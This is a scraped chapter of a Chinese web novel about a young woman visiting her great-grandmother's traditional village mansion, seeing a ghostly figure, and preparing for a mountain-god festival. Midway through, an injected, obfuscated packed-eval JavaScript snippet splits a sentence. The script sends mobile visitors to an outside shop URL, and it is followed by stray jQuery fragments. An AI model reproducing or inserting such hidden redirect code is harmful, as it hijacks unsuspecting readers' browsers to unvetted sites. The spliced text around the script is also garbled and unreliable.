文趣网 > 都市小说 > 捡到一个山神大人 > 2. 山神社火
    夜幕浸透山野,微凉的夏夜晚风卷着林间湿润的草木气息拂过牛车车厢,蜿蜒的土路不太平整,偶尔的颠簸声衬得四下一片死寂,悄无人声。

    轿厢是由深棕色的实木拼接而成,木纹因久经摩挲泛着温润旧光,车厢里面的空间不小,看起来很整洁,座位上铺着厚厚的棉褥。

    叶时桉看凌兰好奇地四下张望,小声说:“你太姥姥家比较老派,年纪大了,接受不了现代的东西。”

    牛车行驶了片刻,颠簸感突然消失,凌兰掀开一点布帘朝外望去,发现车外恍若变成了另外一个世界。

    地面由土路变成了光滑的青石板,开阔的街道两边是各种古色古香的店铺,黛色屋檐悬起串串朱红油纸灯笼,暖红光影铺了满地。

    “哇!”凌兰不禁惊叹出声。

    叶时桉也探头朝外看,语气里满是讶异:“没想到溪照村现在修整得这么漂亮了!真是跟记忆中一点也不一样了,都比得上那些古风旅游景点了。”

    坐在车头赶车的长碌回头附和道:“那是,这还不算最好看,等到中元节那天,村子里更热闹。”

    牛车很快停在了一座宅子门前,门头巍然气派,左右两侧各卧着一头石狮子,透着一股世家大族的风骨。

    长碌先上前用铜环扣了扣门,又转身回来帮她们拿行李,凌兰跟着母亲跳下车,抬头看到门头上有一扇木质的匾额,端正刻着两个墨色大字“叶宅”。

    不一会儿,厚重木门应声敞开,呼呼啦啦涌出来了十几个人,为首的是一位满头白发的老太太,约莫有八十多岁,脸上的皱纹虽深,一双眼睛却清亮有神,满头银丝梳得整整齐齐。

    叶时桉拉着凌兰上前,迈上台阶:“姨姥姥,我是时桉呀,这是小兰,您还认得出我们吗?”

    老人伸手一左一右地握住母女二人的手,手指摩挲着:“这是多少年没见了啊,你们母女俩的变化真大,你这孩子,这么长时间也不说回来看看。”

    凌兰跟着众人浩浩荡荡地穿过层层天井,来到堂屋里,母亲一个个地给凌兰介绍着这些亲戚,有很多母亲自己都认不出来了,好在旁边有位年长妇人一直帮忙提醒,总算是连猜带蒙地把人认全了。

    大家寒暄过后,众人围坐一桌开席,席间亲戚们谈笑不绝,气氛热络,凌兰一直低头默默扒饭,一天的舟车劳顿,让凌兰疲惫至极,此刻也没什么胃口,吃了几口就停下了筷子。

    坐在旁边的一个十七八岁的女孩看过来,小声叫她:“姐姐,你吃饱了吗?”

    凌兰点了点头:“嗯,饱了。”

    “你吃的也太少啦,”少女眉眼间还带着未褪的稚气,眼神和善,“我叫阿穗,”她指指旁边一个容貌与她有几分相似的姑娘,“她叫阿茯,是我的姐姐。”

    凌兰冲她们笑了笑:“你们好,我叫凌兰。”

    阿穗性子活泼,席间缠着她问这问那,凌兰都耐着性子一一应答。

    “听说你们是从大城市过来的?”

    “嗯。”

    “哇,我还没去过城里呢,你这身衣裳真好看,我都没见过。”

    凌兰低头看看自己身上的普通T恤,说:“还好吧。”

    “奶奶说你以前来过村里,我怎么没见过你?”

    “你那时候估计才五六岁,不记得了吧。”

    宴席散后,凌兰和母亲被安排住进了东厢房里,夜色深重看不清宅院全貌,一路上七拐八绕,借着屋檐下灯笼的朦胧柔光,依旧能察觉出这座宅子纵深极广,院落一重连着一重。

    领路的妇人三十出头,大家都叫她禾姑,应该是宅子里的佣人。禾姑推开一间房门,走进去点燃屋里的油灯,暖黄光亮铺满了整间屋子。

    凌兰环顾四周,房间还算宽敞,里面摆了两张床,一张方桌,几把木椅,靠墙立着个木柜,处处都弥漫着古朴的气息。

    “行李已经替二位搬过来了,柴房烧好了热水,可以沐浴,夜里有什么事就只管叫我,我就住在偏屋。”

    禾姑交代完就提着灯笼退了出去。

    晚上洗完澡,凌兰披散着湿漉漉的长发,这地方找不到吹风机,就连洗澡都是在浴桶里,凌兰只能等着头发自然风干,母亲先洗的澡,现在已经累得躺下睡着了。

    凌兰轻手轻脚地在屋子里走了一圈,心底满是不可思议,一切都像是一场梦一样。

    现在的农村竟然还有这样守旧又考究的老宅,起居日用和生活习惯里处处透着原始,跟她在电视里看到的农村一点都不一样。

    她想,这可能是当地的旅游部门,为了给游客打造一个身临其境的古风体验,也算是煞费苦心了。

    凌兰回忆了一下小时候,七岁来到溪照村的记忆,距今已经有十二年,她竟然对这所宅院毫无印象,模糊中只记得和一群同龄的孩子整天在山上疯玩。

    她推开了床尾的一扇木窗,窗外是东厢房的后院,檐角垂着一盏灯笼,幽幽地照着后院,这里的花坛里长满了绿植,草木繁茂,绿意葱茏,夜风掠过枝叶,带着山间独有的微凉湿气。

    一缕清冽的淡香飘入窗内,凌兰好奇地趴到窗台上,半边身子都探了出去。

    她看到后院正中伫立着一棵粗壮的老桂花树,枝繁叶茂、遮天蔽日,清雅馥郁的香气漫满整座院落,落英簌簌铺地,枝头繁花仍旧灼灼。

    突然,余光中有什么在晃动,凌兰定睛望向院落深处,桂花树旁横生出来的枝干上挂着一个秋千。

    四下无风,那秋千却正一前一后地缓缓轻晃,就好像有人正坐在上面慢悠悠地荡着。

    凌兰睁大了双眼,院中空荡荡,的确没看到有任何人。

    凌兰回头看了眼正在熟睡的母亲,给自己暗暗壮了壮胆,扬声朝那里问道:“谁在那里?”

    秋千渐渐停止了晃动,紧接着,凌兰似乎看到了一道颀长的白色身影,像一团朦胧光晕一样,转瞬间就消失不见了。

    凌兰在院子里左右看看,没再找到那抹身影。

    她以光速关上了窗户,心想,一定是自己今天太累了,所以才眼花了。

    快点睡觉,睡一觉起来就忘了。

    一夜过去,天刚亮母亲就起床了,凌兰躺在被窝里醒神。

    她很久都没有这么早醒来了,一般这种天微微亮的时候,正是她结束熬夜刚准备睡的时间。

    母亲洗完了脸,正坐在桌旁拿出自己带的小镜子和护肤品保养皮肤。

    看到凌兰睁眼了,叶时桉一边啪啪啪地往脸上拍精华一边说:“醒了就起来吧,刚来第一天,赖床不太好。”

    凌兰从床上坐了起来,慢吞吞地开始穿衣服。

    早饭依旧是一大家子十几口人坐在一起,坐在主座的是太姥姥,她在这个家中很有威严,走起路来步态稳健,落座时身姿端正,大家都叫她“老祖宗”,凌兰和母亲也跟着众人一起这么叫她。

    席间一位体态微胖,年近五十的妇人笑眯眯地问凌兰:“昨晚睡得怎么样?在这里住得可还习惯?”

    “挺好的,都习惯,”凌兰礼貌作答。

    她想不起来这个妇人是谁了,昨天认人叫了一圈,今早一醒来,全忘完了。

    她侧头看向身旁的母亲,叶时桉小声提醒:“这是你舅妈。”

    “哦,”凌兰想起来了,她就是昨晚热心地帮凌兰母女认全亲戚的那个人。

    舅妈看到凌兰茫然的表情,忍不住笑出了声:“没关系,咱们家人多,确实不太好认,你在这多住一段日子就能认全了。”

    “好,谢谢舅妈。”

    吃

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721218|208661||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    完早饭,凌兰从他们席间的交谈中听出来,老祖宗这一支有三个女儿和五个儿子,除了几个孩子在外地或经商或做官,剩下的亲眷们都留在了溪照村,他们没有分家,祖孙四代就共同生活在这座大宅之中。

    这么庞大的家族群居在一起,这在城市里是很少见的,可他们相处起来其乐融融,长幼有序,看起来没有丝毫龃龉。

    吃完饭凌兰就回房了,这么早起床让她很不习惯,想玩会手机,发现这里竟然没有信号,平时不离手的东西,现在的作用就像是一块板砖,除了看时间毫无用处。

    她悻悻地放下手机,蒙上被子打算再睡个回笼觉,中午母亲过来叫醒了她:“快别睡了,再睡晚上又该睡不着了,好不容易把你的作息调过来了,别再颠倒回去。”

    凌兰起身看到母亲手里拿着的衣服,好奇道:“你拿的是什么?”

    叶时桉把衣服在床上铺开:“今天来不及给你做新衣服了,这是你表嫂去年穿的裙子,一般村子里有大型活动才会穿这样的衣服,你看看,多漂亮。”

    凌兰爬起来,只见裙子分为上下两件,上身是月白色的云锦短儒衫,绣着精美的暗纹,外面还覆着一层轻薄的烟纱料子,宽宽的袖口滚着一圈银线镶边,领口缀着细碎的珍珠,下身是正红色的裙子,裙摆宽大垂坠,层叠的纱料层层铺展,似云霞漫卷,凌兰摸了摸,只觉得触感细腻惊艳,这裙子有点像她大学参加社团时穿过的汉服,细节处又有些区别。

    “村子最近有活动吗?”

    “有啊,这不我赶紧来叫你,今天晚上村子里有一场山神社火,家里的孩子们都会去看,你也去凑个热闹吧。”

    “山神社火是什么?”

    “村里每年都会举办祭祀游行,用来驱邪纳吉,祈求丰年,你去看看就知道了,这会儿街上可热闹了。”

    叶时桉把凌兰从床上拽起来:“快把这身衣服换上,家里的小辈们都快打扮好了,待会儿让禾姑帮你梳个好看的发型。”

    凌兰收拾好和母亲一起去了前厅,屋子里叽叽喳喳,一片喧闹,几个年轻人和孩子们都身着盛装,看到她们进来,阿穗跑了过来。

    “凌兰姐,你可算来了,”阿穗绕着她转了一圈,满眼艳羡,“这是嫂子的衣服吗,你穿上也太好看了,这发髻肯定是禾姑梳的,她可是咱们宅子里最会梳头的人。”

    阿穗一身粉裙,姐姐阿芙则身着浅紫,两人都梳着俏皮的双丸子头,凌兰笑着说:“你们两个也好可爱。”

    阿穗抱住她的胳膊,凑过来悄悄说道:“待会儿晚饭吃少点儿,晚上的集市上有好多好吃的,留着肚子。”

    凌兰点头应下:“好。”

    吃罢晚饭,天色渐渐擦黑,凌兰跟着一众小辈们出了门,大街上到处都是疯跑的孩童,人群三三两两地往一个方向走去,欢声笑语伴着阵阵鞭炮声。

    “家里其他人不一起来看吗?”凌兰问身边的阿穗。

    “会来的,只是她们晚一点才出门,这会儿社火队伍才刚从山神观里出发吧,”阿穗想了想,又说,“不过老祖宗她们不出来看,她们年纪大了,看这个不好。”

    不好?有什么不好?

    凌兰心里有些纳闷,正想问清楚,阿穗突然牵着她往前跑去,眼前的场景让她很快忘记了自己要问什么。

    她们来到了一处空地,这里是两条大街的交汇口,空地正中央交错着摆放了一堆木柴,有三米多高,此刻上面燃着熊熊火焰,冲天的火光将四周照得亮如白昼,空气中浓烟滚滚,弥漫着浓重的香火味。

    人群越聚越多,凌兰她们来的算早的,站在人群的最前面。

    凌兰四处张望,找寻着社火游行的队伍。

    “这个位置我看中了,麻烦你们站到别处去。”